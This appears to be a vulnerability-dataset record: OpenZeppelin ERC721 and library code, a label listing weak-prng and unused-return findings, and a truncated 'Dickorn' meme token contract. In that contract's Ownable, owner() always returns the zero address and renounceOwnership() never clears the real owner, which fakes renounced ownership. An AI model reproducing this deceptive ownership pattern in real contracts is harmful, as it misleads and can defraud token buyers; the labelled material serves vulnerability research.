_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | These are the vulnerabilities found
1) weak-prng with High impact
2) unused-return with Medium impact |
/**
*
*/
/*Game Changing Viral Token, Made By Investors For Investors!
🍆🦄Dickorn🦄🍆 "Funny till you get dickorned!"
Dickorn is a digital currency, developed specifically for the regulated gaming industry. The Dickorn project is led by a team dedicated and experienced in working within the meme sectors. With this as a focal point, features and tools have been customized to meet both the needs of the users and the operators.
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*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dickorn is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private _tTotal = 50 * 10**9 * 10**18;
string private _name = 'Dickorn t.me/Dickorn';
string private _symbol = 'Dickorn🍆🦄';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
